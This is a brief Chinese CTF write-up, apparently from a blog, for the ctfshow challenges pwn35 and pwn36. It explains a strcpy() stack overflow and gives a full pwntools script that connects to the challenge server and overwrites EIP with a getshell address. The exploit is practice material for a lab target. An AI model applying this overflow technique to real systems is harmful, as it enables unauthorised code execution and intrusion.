pwn35:

这题像极了pwn23 代码就是判断我们输入的参数是否大于1,如果大于1进入ctfshow()函数并且将我们输入的第一个参数作为ctfshow函数的参数。

ctfshow函数用到了strcpy()函数,而这个函数是可以发生溢出的

pwn36:
偷个懒直接给代码
from pwn import *
#p = process("./pwn")
p = remote("pwn.challenge.ctf.show", "28160")
getshell = 0x08048586 # 要覆盖上的EIP地址
payload = b'a'*44+p32(getshell) # 拼凑的payload
p.sendline(payload)
p.interactive()

文章详细介绍了pwn35和pwn36两道CTF题目,前者涉及参数判断及可能的溢出,后者通过远程连接到服务器并构造特定payload,利用strcpy函数的溢出特性,覆盖EIP实现getshell。
303

被折叠的 条评论
为什么被折叠?



